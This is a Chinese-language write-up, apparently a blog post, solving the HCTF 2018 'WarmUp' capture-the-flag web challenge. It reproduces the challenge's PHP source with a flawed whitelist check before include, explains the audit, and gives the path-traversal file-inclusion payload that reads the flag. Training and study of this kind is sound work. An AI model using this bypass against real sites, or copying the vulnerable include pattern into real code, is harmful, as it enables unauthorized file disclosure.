[HCTF 2018]WarmUp
打开靶场界面只有如下的一个滑稽:

右键查看源代码:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta http-equiv="X-UA-Compatible" content="ie=edge">
<title>Document</title>
</head>
<body>
<!--source.php-->
<br><img src="https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg" /></body>
</html>
- 发现有一注释:
<!--source.php-->,尝试访问一下。
<?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}
if (in_array($page, $whitelist)) {
return true;
}
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>
-
一段代码审计
-
if (! empty($_REQUEST['file']):需要参数file -
is_string($_REQUEST['file']):参数file需要是字符串类型的 -
emmm::checkFile($_REQUEST['file']):调用了class emmm中的checkFile方法,跟着看下。 -
有个
hint.php,尝试访问一下 -

-
if (! isset($page) || !is_string($page)):首先对传入的参数做了校验,是否为空和是否为字符串 -
if (in_array($page, $whitelist)):这边做了判断,所以参数里面需要包含source.php或者hint.php -
接着用了
mb_substr和mb_strpos对参数做了截取,分界点是? -
include $_REQUEST['file'];:最后有个文件包含得到最后需要传入的参数:
hint.php?../../../../../ffffllllaaaagggg或source.php?../../../../../ffffllllaaaagggg![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-bp0ty9Xh-1676211330194)([HCTF 2018]WarmUp.assets/image-20221120180651583.png)]](https://i-blog.csdnimg.cn/blog_migrate/89988efa4bf8f5cefe00b118ac68f571.png)
GET Flag ! ! !
885

被折叠的 条评论
为什么被折叠?



